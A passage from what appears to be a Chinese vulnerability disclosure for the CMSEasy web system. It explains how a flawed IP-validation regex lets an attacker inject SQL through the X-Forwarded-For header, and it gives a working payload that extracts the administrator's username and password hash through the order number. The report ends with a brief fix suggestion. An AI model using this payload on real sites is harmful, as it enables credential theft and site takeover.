        else {

            $onlineip = $_SERVER['REMOTE_ADDR'];

  这里的正则存在问题，最后一句的(%.+)，这里我们在IP后面加上%，然后就能跟上任意内容   那么我们使用1.1.1.1%xxx就能绕过正则进行注入了。 漏洞证明： 第一步   首先添加一件物品     第二步   提交订单，此时截包   修改头信息，添加：   X-Forwarded-For: 1.1.1.1%','15,','1,',(select concat(username,0x23,password) from cmseasy_user limit 0,1))#       第三步   会员中心，查询订单   订单编号即为注入的内容，管理员的用户名密码 修复方案： 严格控制正则，进入sql时对value进行过滤等
